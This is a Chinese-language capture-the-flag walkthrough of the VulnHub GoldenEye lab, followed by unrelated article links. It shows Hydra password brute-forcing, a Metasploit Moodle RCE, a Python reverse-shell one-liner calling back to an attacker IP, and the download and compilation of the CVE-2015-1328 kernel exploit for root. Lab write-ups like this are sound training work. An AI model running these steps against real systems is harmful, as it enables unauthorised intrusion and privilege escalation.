靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/

靶机难度:中等(CTF)

目标:得到root权限&找到flag.txt

信息收集

  1. 收集目标ip

  2. nmap扫描到两个端口

  3. 尝试访问80端口

    • 显示的文本提示了一条线索,它说进入到/sev-home/目录中。

    • User: UNKNOWN

      Naviagate to /sev-home/ to login

      需要登录,开始枚举查找用户名密码信息!

    • 查看其页面源代码发现一个terminal.js文件

      • 发现提示
    • 密码信息

      //I encoded you p@ssword below...
      //
      //InvincibleHack3r
  • 用户名信息

    阅读提示可以猜测用户名和密码可能为:Boris或Natalya

渗透过程

获得用户名和密码:

  1. 通过密码信息的收集发现这种编码是unicode的一种编码

  2. 猜测用户名为boris成功

step2

  1. 登录成功后获取到又一重要信息

  2. POP3是一种发邮件的服务帮助中心_常见问题 (163.com)

  3. 继续对ip地址进行端口扫描查看pop3服务

    nmap -p- 192.168.177.129//全端口扫描

  4. nmap详细扫描上述55006,55007端口

    nmap -p-55006,55007 192.168.177.129 -sS -sV -T5 -A
  5. 验证了收集到的信息

6.通过Hydra暴力破解pop3服务

  • Hydra密码爆破工具使用教程图文教程(超详细)_hydra使用教程-CSDN博客

  • echo -e 'natalya\nboris' > dayu.txt   ---将两个用户名写入txt文本中
  • hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #/usr/share/wordlists/fasttrack.txt 是一个常见的字典文件,通常被用于密码破解、渗透测试和安全审计。这个文件包含了许多常见的用户名、密码、常用短语和其他可能用于攻击的字符串列表。这些列表可以被安全专业人员用于测试系统的安全性,确认系统是否容易受到常见的口令攻击。
  • 经过2~5分钟等待,获得两组账号密码

    用户:boris 密码:secret1!

    用户:natalya 密码:bird

  1. 通过NC登录pop3查看邮件信封内容枚举
  2. 查看boris的
    • nc 192.168.177.129 55007 ---登录邮箱

      user boris ---登录用户

      pass secret1! ---登录密码

      list ---查看邮件数量

      retr 1~3 ---查看邮件内容

读到的信息

  1. 查看natalya的

    • nc 192.168.177.129 55007 ---登录邮箱

      user natalya ---登录用户

      pass bird ---登录密码

      list ---查看邮件数量

      retr 1~3 ---查看邮件内容

    • 读到的信息

      在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

      用户名:xenia

      密码:RCP90rulez!

      域:severnaya-station.com

      网址:severnaya-station.com/gnocertdir

      我们现根据邮件提示添加本地域名:severnaya-station.com

  2. 设置本地HOSTS文件

    gedit /etc/hosts

    192.168.177.129 severnaya-station.com

step3

  1. 访问severnaya-station.com/gnocertdir

  2. 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

    是的,Moodle 是一种开源的学习管理系统(LMS),而不是一种内容管理系统(CMS)。Moodle 主要用于创建在线学习平台,提供了丰富的教学和学习工具,包括课程管理、在线测验、资源分享、讨论论坛等功能。Moodle 的开源性质意味着用户可以免费获取、使用和定制它,同时还可以根据自己的需求扩展功能。

    内容管理系统(CMS)通常用于创建和管理网站内容,例如WordPress、Joomla 和Drupal,而学习管理系统(LMS)则专注于教育和培训范畴。Moodle 在教育领域非常受欢迎,许多学校、大学和培训机构都使用它来提供在线学习服务。

    whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

  3. 登录后,Home / My profile / Messages --->发现有一封邮件,内容发现用户名doak收集到又一有用的信息

  4. 又尝试用九头蛇爆破email username = doak的密码

  5. echo doak > dayu.txt   ---将用户名写入txt文本中
    hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #或者直接爆破doak这一个
    hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
  6. 成功获得密码[pop3] host: 192.168.177.129 login: doak password: goat

  7. 登录doak用户枚举邮件信息

    nc 192.168.177.129 55007 ---登录邮箱

    user doak ---登录用户

    pass goat ---登录密码

    list ---查看邮件数量

    retr 1 ---查看邮件内容

step4

  1. 据上诉邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

    用户名:dr_doak

    密码:4England!

  2. 登录后发现

  3. Something juicy is located here: /dir007key/for-007.jpg

    现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

    访问页面:severnaya-station.com/dir007key/for-007.jpg

    下载到本地:

    wget http://severnaya-station.com/dir007key/for-007.jpg

    根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

    binwalk(路由逆向分析工具)

    exiftool(图虫)

    strings(识别动态库版本指令)

    等查看jpg文件底层内容!

    exiftool for-007.jpg

    strings for-007.jpg

    用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

  1. 对上述base64编码隐藏信息解码得到:xWinter1995x!
  2. 又由2知道用户为admin,由此可以登录
  3. 成功用admin用户登录站点

step5

  1. 进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。

    这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

  2. google搜索:Moodle 2.2.3 exp poc

  3. Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

  4. 此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

    使用我们的神器:MSF

    msfconsole                        ---进入MSF框架攻击界面
    search moodle ---查找 moodle类型 攻击的模块
    use 1 ---调用0 exploit/multi/http/moodle_cmd_exec调用攻击脚本
    set username admin ---设置用户名:admin
    set password xWinter1995x! ---设置密码:xWinter1995x!
    set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
    set targeturi /gnocertdir ---设置目录: /gnocertdir
    set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
    set lhost 192.168.177.128 ---设置:lhost 192.168.4.231(需要本地IP)
    exploit ----执行命令

  5. 当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell

    https://www.exploit-db.com/exploits/29324

    's_editor_tinymce_spellengine' => 'PSpellShell',

  1. 成功,但交互shell不正常,有装python

  2. 执行tty,因为获得的权限无框架:执行

    python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

  3. 本地监听,用python反弹shell

    • nc -lvp 6666
    #python反弹shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.177.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  4. 成功建立连接,但依然是不正常的shell

  • python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
  1. 内核提权

    uname -a 查看权限!

step6提权获取flag

  1. 谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

  1. 当前靶机下没有gcc,只有cc

  2. kali搜索下:

    searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息

    cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop ---目录自行修改

  3. 这个靶场在枚举信息知道:

    无法进行GCC编译,需要改下脚本为cc

    gedit 37292.c ---文本打开

    第143行将gcc改为cc ---编写下

  4. 然后在本机本目录下开启http服务:python -m http.server 8081

  5. 靶机上执行

    cd /tmp

    wget http://192.168.177.128:8081/37292.c ---wget下载http服务下的文件

  6. 成功下载后执行cc编译:

    cc -o exp 37292.c ---C语言的CC代码编译点c文件

    chmod +x exp ---编译成可执行文件,并赋权

    ./exp ---点杠执行

    id ---查看目前权限

    cat /root/.flag.txt ---读取root下的flag信息

    568628e0d993b1973adc718237da6e93

渗透项目1-GoldenEye的更多相关文章

  1. 【原创】项目一GoldenEye

    实战流程 1,通过nmap查找本段IP中存活的机器 ┌──(root㉿whoami)-[/home/whoami/Desktop] └─# nmap -sP 192.168.186.0/24 排查网关 ...

  2. Python:渗透测试开源项目

    Python:渗透测试开源项目[源码值得精读] sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工 ...

  3. 渗透测试的理论部分4——开放式Web应用程序安全项目

    开放式Web应用程序安全项目(Open Web Application Security Project OWASP) 定期退出Top 10 project(排名前十的安全隐患防守规则) 公开了编写安 ...

  4. Python:渗透测试开源项目【源码值得精读】

    sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工具:HULK SSL安全扫描器:SSLyze 网 ...

  5. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  6. fir.im Weekly - 从零开始创建 Android 新项目

    今年的 Google I/O 大会上,人工智能和虚拟现实的产品发布让我们对未来多了几分惊喜.对于开发者部分,Google 发布了 Android N 系统,感受最深的是全新的 Android Stud ...

  7. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  8. JAVA上百实例源码以及开源项目

    简介 笔者当初为了学习JAVA,收集了很多经典源码,源码难易程度分为初级.中级.高级等,详情看源码列表,需要的可以直接下载! 这些源码反映了那时那景笔者对未来的盲目,对代码的热情.执着,对IT的憧憬. ...

  9. GitHub上史上最全的Android开源项目分类汇总 (转)

    GitHub上史上最全的Android开源项目分类汇总 标签: github android 开源 | 发表时间:2014-11-23 23:00 | 作者:u013149325 分享到: 出处:ht ...

  10. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

随机推荐

  1. spring boot实现验证码登录

    内容比较简单,需要完整项目的朋友留下邮箱,给你们发. 直接看效果: 下面是实现步骤 1.验证码生成工具类(引用自网络) package com.laoxu.test.helloweb.util; im ...

  2. 解决主机ssh虚拟机linux慢的问题

    1.编辑sshd配置文件: vi /etc/ssh/sshd_config 找到行:#UseDNS yes 将注释去掉,把yes改为no 2.重启sshd服务: service sshd restar ...

  3. 解决Linux平台Selenium截图中文乱码问题

    通常情况下,像CentOS这样的Linux发行版默认是缺少中文字体的,所以在执行Selenium截图时,如果目标网页中有中文,则截图后中文将会显示为方块一样的乱码. 解决办法:手动安装中文字体即可. ...

  4. 麒麟系统开发笔记(十一):在国产麒麟系统上使用gdb定位崩溃异常方法流程进阶定位代码行数及专项测试Demo

    前言   上一篇,通过研究,可以定位到函数,本篇进一步优化,没有行数,程序较为复杂的时候,就无法定位,所以进一步定位.  本篇做了qBreakpad的研究,但是没有成功,过程也还是填出来,后来突然注意 ...

  5. 【进阶篇】使用 Redis 实现分布式缓存的全过程思考(一)

    目录 前言 一.关于缓存 二.基本数据结构 三.缓存注解 3.1自定义注解 3.2定义切点(拦截器) 3.3 AOP 实现 3.4使用示例 四.数据一致性 4.1缓存更新策略 4.2缓存读写过程 五. ...

  6. Java 通过属性名称读取或者设置实体的属性值

    原因 项目实战中有这个需求,数据库中配置对应的实体和属性名称,在代码中通过属性名称获取实体的对应的属性值. 解决方案 工具类,下面这个工具是辅助获取属性值 import com.alibaba.fas ...

  7. 04、Etcd中常见的概念

    本篇内容主要来源于自己学习的视频,如有侵权,请联系删除,谢谢. 上一章节,我们学习了 Etcdctl 的使用,从中窥探了 Etcd 的强大之处.从这一节开始,后面的内容基本上都是偏理论的东西,争取在看 ...

  8. 设置 sudo 无需输入密码

    * 设置 sudo 无需输入密码,如下:* [root@localhost ~]# visudo* 在"root ALL=(ALL) ALL"这一行下面,再加入一行:* 将原来的: ...

  9. 【Azure Redis 缓存】VM 里的 Redis 能直接迁移到 Azure Cache for Redis ? 需要改动代码吗?

    问题描述 原来部署在VM 里的 Redis 能直接迁移到 Azure Cache for Redis? 需要改动代码吗? 问题解答 以上问题需要从两个方面来解答. 第一:VM中Redis的数据转移到 ...

  10. 容器与 Pod

    现在 Docker 的流行程度越来越高,越来越多的公司使用 Docker 打包和部署项目.但是也有很多公司只是追求新技术,将以前的单体应用直接打包为镜像,代码.配置方式等各方面保持不变,使用 Dock ...